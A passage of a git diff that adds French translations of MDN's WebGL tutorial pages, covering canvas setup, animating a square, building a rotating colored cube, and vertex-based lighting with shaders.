+<pre class="brush: js">var <code>squareRotation</code> = 0.0;
+</pre>
+
+<p>Maintenant, nous devons modifier la fonction <code>drawScene() </code>pour appliquer la rotation courante du carré quand on le dessine. Après déplacement à la position de dessin initiale du carré, nous appliquons la rotation comme suit :  </p>
+
+<pre><code>  mat4.rotate(modelViewMatrix,  // matrice de destination
+              modelViewMatrix,  // matrice de rotation
+              squareRotation,   // rotation en radians
+              [0, 0, 1]);       // axe autour duquel tourner</code></pre>
+
+<p>Ceci fait tourner la modelViewMatrix de la valeur courante de <code>squareRotation</code>, autour de l'axe Z.</p>
+
+<p>Pour réaliser effectivement l'animation, nous avons besoin d'ajouter du code qui change la valeur de <code>squareRotation</code> au fil du temps. Nous pouvons faire cela en créant une nouvelle variable pour mémoriser l'instant auquel nous avons réalisé l'animation pour la dernière fois (appelons le <code>then</code>), puis en ajoutant le code suivant à la fin de la fonction principale :</p>
+
+<pre><code>var then = 0;
+
+// Dessiner la scène répétitivement
+function render(now) {
+  now *= 0.001;  // conversion en secondes
+  const deltaTime = now - then;
+  then = now;
+
+  drawScene(gl, programInfo, buffers, deltaTime);
+
+  requestAnimationFrame(render);
+}
+requestAnimationFrame(render);</code></pre>
+
+<p>Ce code utilise <code>requestAnimationFrame</code> pour demander au navigateur d'appeler la fonction "<code>render</code>" à chaque image. <code>requestAnimationFrame</code> nous transmet le temps en millisecondes depuis le chargement de la page. Nous le convertissons en secondes, puis nous lui soustrayons le dernier instant pour calculer <code>deltaTime</code>, qui est le nombre de secondes depuis le rendu de la dernière image. À la fin de drawscene, nous ajoutons le code pour mettre à jour <code>squareRotation</code>.</p>
+
+<pre><code>  squareRotation += deltaTime;</code></pre>
+
+<p>Ce code utilise le laps de temps qui s'est écoulé depuis la dernière fois que nous avons mis à jour la valeur <code>squareRotation</code> pour déterminer de combien faire tourner le carré.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample4/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample4">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample4/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/fr/web/api/webgl_api/tutorial/commencer_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/commencer_avec_webgl/index.html
new file mode 100644
index 0000000000..4388934aeb
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/commencer_avec_webgl/index.html
@@ -0,0 +1,73 @@
+---
+title: Commencer avec WebGL
+slug: Web/API/WebGL_API/Tutorial/Commencer_avec_WebGL
+tags:
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL")}}<a class="external" href="http://www.khronos.org/webgl/" rel="external" title="http://www.khronos.org/webgl/">WebGL</a> permet à un contenu web d'utiliser l'API basée sur <a class="external" href="http://www.khronos.org/opengles/" rel="external" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 pour effectuer un rendu 2D et 3D dans un <a class="internal" href="/fr/HTML/Canvas" title="fr/HTML/Canvas">canvas</a> dans les navigateurs qui le supportent, sans utilisation d'un module complémentaire. Les programmes WebGL sont constitués de code de contrôle écrit en JavaScript, et le code d'ombrage (GLSL) est exécuté dans l'Unité de Traitement Graphique (GPU) de l'ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML, et composés d'autres parties de la page ou de l'arrière-plan de la page.</p>
+
+<p>Cet article va vous donner une introduction aux bases de l'utilisation de WebGL. Il est supposé que vous avez déjà une compréhension des mathématiques impliquées dans les graphismes 3D, et cet article ne prétend pas vous enseigner les concepts des graphismes 3D par eux-mêmes.</p>
+
+<p>Les exemples de code de ce tutoriel peuvent aussi être trouvés dans le <a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial">webgl-examples GitHub repository</a>.</p>
+
+<h2 class="editable" id="Préparation_au_rendu_3D"><span>Préparation au rendu 3D</span></h2>
+
+<p>La première chose dont vous avez besoin pour utiliser WebGL pour faire un rendu est un canvas. Le fragment d'HTML ci-dessous déclare un canvas dans lequel notre exemple se dessinera.</p>
+
+<pre class="brush: html"><span class="plain"><code>&lt;body&gt;
+  &lt;canvas id="glCanvas" width="640" height="480"&gt;&lt;/canvas&gt;
+&lt;/body&gt;</code></span>
+</pre>
+
+<div id="section_2">
+<h3 class="editable" id="Préparation_du_contexte_WebGL"><span>Préparation du contexte WebGL</span></h3>
+
+<p>La fonction <code>main()</code> dans notre code JavaScript est appelée quand notre script est chargé. Son but est de créer le contexte WebGL et de commencer à rendre du contenu.</p>
+
+<pre class="brush: js"><code>main();
+
+//
+// Début ici
+//
+function main() {
+ </code> const canvas = document.querySelector("#glCanvas");
+  // Initialisation du contexte WebGL
+  const gl = canvas.getContext("webgl");
+
+  // Continuer seulement si WebGL est disponible et fonctionnel
+  if (!gl) {
+    alert("Impossible d'initialiser WebGL. Votre navigateur ou votre machine peut ne pas le supporter.");
+    return;
+  }
+
+  // Définir la couleur d'effacement comme étant le noir, complètement opaque
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  // Effacer le tampon de couleur avec la couleur d'effacement spécifiée
+  gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);
+}
+</pre>
+
+<p>La première chose que nous faisons ici est d'obtenir une référence au canvas, en l'affectant à une variable dénommée <code>canvas</code>.</p>
+
+<p>Une fois que nous avons le canvas, nous essayons de lui obtenir un <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/WebGLRenderingContext">WebGLRenderingContext</a>, en appelant <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/HTMLCanvasElement/getContext">getContext</a> et en lui passant la chaîne <code>"webgl"</code>. Si le navigateur ne supporte pas WebGL, <code>getContext</code> retournera <code>null</code>, auquel cas nous afficherons un message pour l'utilisateur, et nous sortirons.</p>
+
+<p>Si le contexte est initialisé avec succès, la variable <code>gl</code> sera notre référence à celui-ci. Dans ce cas, nous définissons la couleur d'effacement comme étant le noir, et nous effaçons le contexte avec cette couleur (redessin du canvas avec la couleur d'arrière-plan).</p>
+
+<p>A ce stade, votre code est suffisant pour que le contexte WebGL puisse s'initialiser avec succès, et vous devriez vous retrouver avec une grande boîte noire et vide, prête à - et attendant de - recevoir du contenu.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample1/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample1">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample1/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://dev.opera.com/articles/introduction-to-webgl-part-1/">An introduction to WebGL</a> : écrite par Luz Caballero, publiée sur dev.opera.com. Cet article traite de ce qu'est WebGL, explique comment WebGL fonctionne (incluant le concept de pipeline de rendu), et présente quelques bibliothèques WebGL.</li>
+ <li><a href="http://webglfundamentals.org/">WebGL Fundamentals</a></li>
+ <li><a href="http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html">An intro to modern OpenGL :</a> une série de bons articles sur OpenGL écrits par Joe Groff, fournissant une introduction claire à OpenGL, depuis son histoire jusqu'au concept important de pipeline de graphismes, qui comprend aussi quelques exemples montrant comment OpenGL fonctionne. Si vous n'avez aucune idée de ce qu'est OpenGL, c'est un bon endroit pour commencer.</li>
+</ul>
+
+<p>{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
+</div>
diff --git a/files/fr/web/api/webgl_api/tutorial/creer_des_objets_3d_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/creer_des_objets_3d_avec_webgl/index.html
new file mode 100644
index 0000000000..ccbff1a2d6
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/creer_des_objets_3d_avec_webgl/index.html
@@ -0,0 +1,167 @@
+---
+title: Créer des objets 3D avec WebGL
+slug: Web/API/WebGL_API/Tutorial/Creer_des_objets_3D_avec_WebGL
+tags:
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
+
+<p>Transformons notre carré en trois dimensions en lui ajoutant cinq faces supplémentaires pour créer un cube. Pour faire cela efficacement, nous allons passer du dessin de sommets par l'appel direct de la méthode {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}}, à l'utilisation du tableau des sommets comme une table, et à référencer les sommets individuels dans cette table pour définir les positions des sommets de chaque face, en appelant directement {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p>
+
+<p>Notez que chaque face nécessite quatre sommets pour la définir, mais que chaque sommet est partagé entre trois faces. Nous pouvons donc passer beaucoup moins de données en faisant un tableau des 24 sommets, puis en référençant chaque sommet par son indice dans ce tableau, au lieu de passer des ensembles complets de coordonnées. Si vous vous demandez pourquoi nous avons besoin de 24 sommets, et non pas seulement de 8, c'est parce que chaque coin appartient à trois faces de couleurs différentes, et qu'un sommet donné doit avoir une couleur spécifique - c'est pourquoi nous allons créer 3 copies de chaque sommet dans les trois couleurs différentes, une pour chaque face.</p>
+
+<h2 id="Définir_la_position_des_sommets_du_cube">Définir la position des sommets du cube</h2>
+
+<p>Tout d'abord, construisons le tampon des sommets du cube en mettant à jour le code de <code>initBuffer()</code>. C'est sensiblement le même que pour le carré, mais en plus long, du fait qu'il y a 24 sommets (4 par côté) :</p>
+
+<pre class="brush: js">  const positions = [
+    // Face avant
+    -1.0, -1.0,  1.0,
+     1.0, -1.0,  1.0,
+     1.0,  1.0,  1.0,
+    -1.0,  1.0,  1.0,
+
+    // Face arrière
+    -1.0, -1.0, -1.0,
+    -1.0,  1.0, -1.0,
+     1.0,  1.0, -1.0,
+     1.0, -1.0, -1.0,
+
+    // Face supérieure
+    -1.0,  1.0, -1.0,
+    -1.0,  1.0,  1.0,
+     1.0,  1.0,  1.0,
+     1.0,  1.0, -1.0,
+
+    // Face inférieure
+    -1.0, -1.0, -1.0,
+     1.0, -1.0, -1.0,
+     1.0, -1.0,  1.0,
+    -1.0, -1.0,  1.0,
+
+    // Face droite
+     1.0, -1.0, -1.0,
+     1.0,  1.0, -1.0,
+     1.0,  1.0,  1.0,
+     1.0, -1.0,  1.0,
+
+    // Face gauche
+    -1.0, -1.0, -1.0,
+    -1.0, -1.0,  1.0,
+    -1.0,  1.0,  1.0,
+    -1.0,  1.0, -1.0
+  ];
+</pre>
+
+<p>Du fait que nous avons ajouté une composante z à nos sommets, nous avons besoin de changer en 3 le <code>numComponents</code> de notre attribut <code>vertexPosition</code>.</p>
+
+<pre><code>// Indiquer à WebGL comment extraire les positions du tampon des
+// positions dans l'attribut vertexPosition
+{
+  const numComponents = 3;
+  ...
+  gl.vertexAttribPointer(
+      programInfo.attribLocations.vertexPosition,
+      numComponents,
+      type,
+      normalize,
+      stride,
+      offset);
+  gl.enableVertexAttribArray(
+      programInfo.attribLocations.vertexPosition);
+}</code></pre>
+
+<h2 id="Définir_les_couleurs_des_sommets">Définir les couleurs des sommets</h2>
+
+<p>Nous avons aussi besoin de construire un tableau des couleurs pour chacun des 24 sommets. Ce code commence par définir une couleur pour chaque face, puis il utilise une boucle pour assembler le tableau de toutes les couleurs pour chacun des sommets.</p>
+
+<pre class="brush: js">  const <code>faceColors </code>= [
+    [1.0,  1.0,  1.0,  1.0],    // Face avant : blanc
+    [1.0,  0.0,  0.0,  1.0],    // Face arrière : rouge
+    [0.0,  1.0,  0.0,  1.0],    // Face supérieure : vert
+    [0.0,  0.0,  1.0,  1.0],    // Face infiérieure : bleu
+    [1.0,  1.0,  0.0,  1.0],    // Face droite : jaune
+    [1.0,  0.0,  1.0,  1.0]     // Face gauche : violet
+  ];
+
+  // Conversion du tableau des couleurs en une table pour tous les sommets
+
+  var <code>colors </code>= [];
+
+  for (j=0; j&lt;<code>faceColors</code>.length; j++) {
+    const c = faceColors[j];
+
+    // Répéter chaque couleur quatre fois pour les quatre sommets d'une face
+    colors = colors<code>.concat(c, c, c, c);
+  </code>}
+
+  const colorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+</pre>
+
+<h2 id="Définir_le_tableau_des_éléments">Définir le tableau des éléments</h2>
+
+<p>Une fois que les tableaux des sommets sont générés, nous devons construire le tableau des éléments.</p>
+
+<pre class="brush: js">  <code>const indexBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, indexBuffer);
+
+  // Ce tableau définit chaque face comme deux triangles, en utilisant les
+  // indices dans le tableau des sommets pour spécifier la position de chaque
+  // triangle.
+
+  const indices = [
+    0,  1,  2,      0,  2,  3,    // avant
+    4,  5,  6,      4,  6,  7,    // arrière
+    8,  9,  10,     8,  10, 11,   // haut
+    12, 13, 14,     12, 14, 15,   // bas
+    16, 17, 18,     16, 18, 19,   // droite
+    20, 21, 22,     20, 22, 23,   // gauche
+  ];
+
+  // Envoyer maintenant le tableau des éléments à GL
+
+  gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+      new Uint16Array(indices), gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer</code><code>,
+    color: colorBuffer</code><code>,
+    indices: indexBuffer</code><code>,
+  };
+}</code></pre>
+
+<p>Le tableau <code>indices</code> définit chaque face comme étant une paire de triangles, en spécifiant chaque sommet du triangle comme un indice dans les tableaux des sommets du cube. Ainsi le cube est décrit comme une collection de 12 triangles.</p>
+
+<h2 id="Dessiner_le_cube">Dessiner le cube</h2>
+
+<p>Ensuite, nous devons ajouter du code à notre fonction <code>drawScene()</code> pour dessiner le tampon des indices du cube, en ajoutant de nouveaux appels à {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} et {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} :</p>
+
+<pre><code>  // Indiquer à WebGL quels indices utiliser pour indexer les sommets
+  gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, tampons.indices);
+
+...
+
+  {
+    const vertexCount = 36;
+    const type = gl.UNSIGNED_SHORT;
+    const offset = 0;
+    gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);
+  }</code></pre>
+
+<p>Du fait que chaque face de notre cube est composée de deux triangles, il y a 6 sommets par côté, soit 36 sommets au total dans le cube, même si beaucoup d'entre eux sont des doublons.</p>
+
+<p>Finalement, remplaçons notre variable <code>squareRotation</code> par <code>cubeRotation</code> et ajoutons une seconde rotation autour de l'axe des x :</p>
+
+<pre><code>mat4.rotate(modelViewMatrix, modelViewMatrix, cubeRotation * .7, [0, 1, 0]);</code></pre>
+
+<p>À ce stade, nous avons un cube animé en rotation, ses six faces ayant des couleurs assez vives.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample5">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample5/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
diff --git a/files/fr/web/api/webgl_api/tutorial/eclairage_en_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/eclairage_en_webgl/index.html
new file mode 100644
index 0000000000..db767fe9bb
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/eclairage_en_webgl/index.html
@@ -0,0 +1,175 @@
+---
+title: Éclairage en WebGL
+slug: Web/API/WebGL_API/Tutorial/Eclairage_en_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
+
+<p>La première chose à comprendre à propos de WebGL est que contrairement au standard OpenGL, WebGL n'a pas de support pour l'éclairage. Vous avez à le faire par vous même. Heureusement ce n'est pas si dur à faire, et cet article va vous expliquer quelques bases.</p>
+
+<h2 id="Simuler_l'éclairage_et_les_ombres_en_3D">Simuler l'éclairage et les ombres en 3D</h2>
+
+<p>Rentrer dans les détails de la théorie derrière la simulation de l'éclairage 3D est assez loin du sujet de cet article mais il vaut mieux en connaitre un minimum le sujet. Au lieu de rentrer dans le vif du sujet ici, jetez un coup d'oeil sur <a href="https://fr.wikipedia.org/wiki/Ombrage_de_Phong">l'ombrage de Phong</a> sur Wikipédia, qui fourni une bonne vue d'ensemble comme modèle d'éclairage.</p>
+
+<p>Il y a trois types basiques d'éclairage :</p>
+
+<ol>
+ <li><strong>Ambient light (Lumière Ambiante) </strong>est la lumière qui imprègne, qui se répand sur la scène. Elle n'a pas de direction et s'applique sur toutes les faces de la scène de la même façon.</li>
+ <li><strong>Directional light (Lumière Directionnelle)</strong> est une lumière émise depuis une direction spécifique. Par exemple le soleil, est une lumière directionnelle.</li>
+ <li><strong>Point light</strong> <strong>(Point de lumière) </strong>est une lumière émise depuis un point, éméttant une lumière dans toutes les directions, contrairement à la Lumière Directionnelle. C'est comme ceci que les lumières fonctionnent principalement dans notre monde, comme par exemple une ampoule.</li>
+</ol>
+
+<p>Pour notre tutorial, nous allons simplifier le model d'éclairage, en considérant seulement une unique lumière directionnelle et une lumière ambiante. Nous allons réutiliser notre <a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">précédent exemple avec le cube en rotation</a>.</p>
+
+<p>Une fois que nous avons appréhendé le concept de source et de réfléction de la lumière, il y a deux choses que nous avons besoin d'implémenter pour nos lumières directionnelles.</p>
+
+<ol>
+ <li>Nous avons besoin d'associer la <strong>surface normale</strong> avec chaque sommet. C'est un vecteur qui est perpendiculaire à la face associé à ce sommet.</li>
+ <li>Nous avons besoin de connaître la direction dans laquelle la lumière arrive. Ceci est défini par la direction du vecteur.</li>
+</ol>
+
+<p>Puis nous mettons à jour le vertex shader pour ajuster la couleur de chaque sommet. en prenant en compte la lumière ambiante ainsi que l'effet de la lumière directionnelle donné par l'angle qui rencontre la face du cube. Nous allons voir comment faire avec les shaders.</p>
+
+<h2 id="Créer_les_normales_pour_les_sommets">Créer les normales pour les sommets</h2>
+
+<p>La première chose dont nous avons besoin, est de générer le tableau des <strong>normales</strong> pour tous les sommets que constituent notre cube. Comme un cube est un simple objet, c'est plutôt simple à faire, évidemment pour des objets plus complexe, calculer les normales sera plus compliqué.</p>
+
+<pre class="brush: js">cubeVerticesNormalBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+
+var vertexNormals = [
+  // Front
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+
+  // Back
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+
+  // Top
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+
+  // Bottom
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+
+  // Right
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+
+  // Left
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+</pre>
+
+<p>Ceci doit vous être plutôt familier maintenant. Nous créons un nouveau buffer, on le lie avec le tableau sur lequel nous allons travailler, puis nous allons envoyer l'ensemble de notre tableau au buffer en appelant la méthode <code>bufferData()</code>.</p>
+
+<p>Ensuite nous allons ajouter le code à la fonction <code>drawScene() </code>pour attacher le tableau de normales à l'attribut du shader, comme ça le code du shader y aura accès:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
+</pre>
+
+<p>Enfin, nous avons besoin de mettre à jour le code qui construit les matrices uniformes pour générer et livrer au shader une matrice normale, qui sera utilisée pour transformer les normales en fonction de l'orientation actuelle du cube par rapport à la source de lumière.</p>
+
+<pre class="brush: js">var normalMatrix = mvMatrix.inverse();
+normalMatrix = normalMatrix.transpose();
+var nUniform = gl.getUniformLocation(shaderProgram, 'uNormalMatrix');
+gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+</pre>
+
+<h2 id="Mettre_à_jour_les_shaders">Mettre à jour les shaders</h2>
+
+<p>Maintenant que les shaders ont toutes les données dont ils ont besoin, nous mettons à jour leur code.</p>
+
+<h3 id="Le_vertex_shader">Le vertex shader</h3>
+
+<p>La première chose à faire est de mettre à jour le vertex shader en générant une valeur pour l'ombre de chaque sommet, en se basant sur l'éclairage ambiant ainsi que la direction de la lumière. Jettons un oeil sur le code suivant:</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+  attribute highp vec3 aVertexNormal;
+  attribute highp vec3 aVertexPosition;
+  attribute highp vec2 aTextureCoord;
+
+  uniform highp mat4 uNormalMatrix;
+  uniform highp mat4 uMVMatrix;
+  uniform highp mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+
+    // Apply lighting effect
+
+    highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
+    highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
+    highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
+
+    highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+    highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+    vLighting = ambientLight + (directionalLightColor * directional);
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Une fois que la position du sommet est calculée, et que nous obtenons les coordonnées des texels (tas de pixel pour une texture) correspondant au sommet, nous pouvons travailler sur le calcul de l'ombre de chaque sommet.</p>
+
+<p>La première chose que nous allons faire est de transformer la base normale sur la position actuelle et l'orientation du cube, en calculant les normales des sommets par la matrice normale. Nous pouvons alors calculer la quantité d'éclairage qui doit être appliquée au sommet en calculant le produit de la normale transformée et du vecteur directionnel (la direction d'où la lumière vient). Si le résultat est inférieur à zéro, alors on le met à 0. Car une lumière négative n'a pas de sens dans notre cas.</p>
+
+<p>Une fois la quantité de lumière directionnelle calculée, nous pouvons générer la valeur d'éclairage en prenant l'éclairage ambiant et en y ajoutant le produit de la couleur de la lumière directionnelle, et aussi la quantité de la lumière directionnelle à fournir. Comme résultat, nous avons maintenant une valeur RGB qui sera utilisé par le fragment shader pour ajuster la couleur de chaque pixel.</p>
+
+<h3 id="Le_fragment_shader">Le fragment shader</h3>
+
+<p>Le fragment shader a maintenant besoin d'être mis à jour en prenant en compte la quantité de lumière calculée précédemment par le vertex shader:</p>
+
+<pre class="brush: js">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+
+    gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Ici nous récupérons la couleur de chaque texel (tas de pixel pour une texture) , comme nous avons fait pour l'exemple précédent, mais avant d'ajuster la couleur du fragment, nous multiplions la couleur des pixels par la quantité de lumière, pour appliquer l'effet d'éclairage.</p>
+
+<p>Et c'est tout !</p>
+
+<p> </p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample7">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample7/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<h2 id="Exercices">Exercices</h2>
+
+<p>Évidemment, ceci est un simple exemple, une implémentation basique de calcul de lumière par sommet. Pour aller plus loin, nous voulons implémenter un calcul de lumière par pixel, mais ceci vous mènera dans la bonne direction. </p>
+
+<p>Vous pouvez aussi implémenter avec la direction de source de lumière, la couleur de la source, la distance, etc..</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
diff --git a/files/fr/web/api/webgl_api/tutorial/index.html b/files/fr/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..92a4c9f119
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,42 @@
+---
+title: Tutoriel WebGL
+slug: Web/API/WebGL_API/Tutorial
+tags:
+  - API WebGL
+  - Tutoriel
+  - Vue d'ensemble
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> permet au contenu web d'utiliser une API basée sur <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 pour effectuer des rendus 3D dans un {{HTMLElement("canvas")}} HTML dans les navigateurs qui le supportent, sans avoir recours à des modules complémentaires. Les programmes WebGL sont constitués de code de contrôle rédigé en JavaScript, et de code d'effets spéciaux (code shader) qui est exécuté sur l'Unité de Traitement Graphique (GPU) d'un ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML et composés avec d'autres parties de la page ou du fond de la page.</p>
+</div>
+
+<p><span class="seoSummary">Ce tutoriel décrit comment utiliser l'élément <code>&lt;canvas&gt;</code> pour dessiner des graphiques WebGL, en commençant par les bases. Les exemples suivants devraient vous donner des idées de ce que vous pouvez faire avec WebGL et vont vous fournir des fragments de code qui pourraient vous aider à construire votre propre contenu.</span></p>
+
+<h2 id="Avant_que_vous_ne_commenciez">Avant que vous ne commenciez</h2>
+
+<p>L'utilisation de l'élément <code>&lt;canvas&gt;</code> n'est pas très difficile, mais vous avez besoin d'une compréhension de base de l'<a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> et du <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. L'élément <code>&lt;canvas&gt;</code> et WebGL ne sont pas supportés par certains anciens navigateurs, mais ils sont supportés dans les versions récentes de tous les principaux navigateurs. Pour dessiner des graphiques sur le canevas, on utilise un objet de contexte Javascript, qui crée des graphiques à la volée.</p>
+
+<h2 id="Dans_ce_tutoriel">Dans ce tutoriel</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Commencer_avec_WebGL">Commencer avec WebGL</a></dt>
+ <dd>Comment mettre en place un contexte WebGL.</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL">Ajouter du contenu à WebGL</a></dt>
+ <dd>Comment faire un rendu simple de figures planes avec WebGL.</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Ajouter_des_couleurs_avec_les_shaders">Ajouter des couleurs avec les nuanceurs</a></dt>
+ <dd>Démontre comment ajouter de la couleur aux formes avec des nuanceurs.</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Animer_des_objets_avec_WebGL">Animer des objets avec WebGL</a></dt>
+ <dd>Montre comment tourner et déplacer des objets pour créer des animations simples.</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Creer_des_objets_3D_avec_WebGL">Créer des objets 3D avec WebGL</a></dt>
+ <dd>Montre comment créer et animer un objet 3D (dans ce cas, un cube).</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL">Utilisation des textures dans WebGL</a></dt>
+ <dd>Démontrer comment appliquer des textures sur les faces d'un objet.</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Eclairage_en_WebGL"> Éclairage en WebGL</a></dt>
+ <dd>Comment simuler des effets d'illumination dans votre contexte WebGL.</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL">Animation de textures en WebGL</a></dt>
+ <dd>Montre comment animer des textures ; dans ce cas, en appliquant une vidéo Ogg sur les faces d'un cube en rotation.</dd>
+</dl>
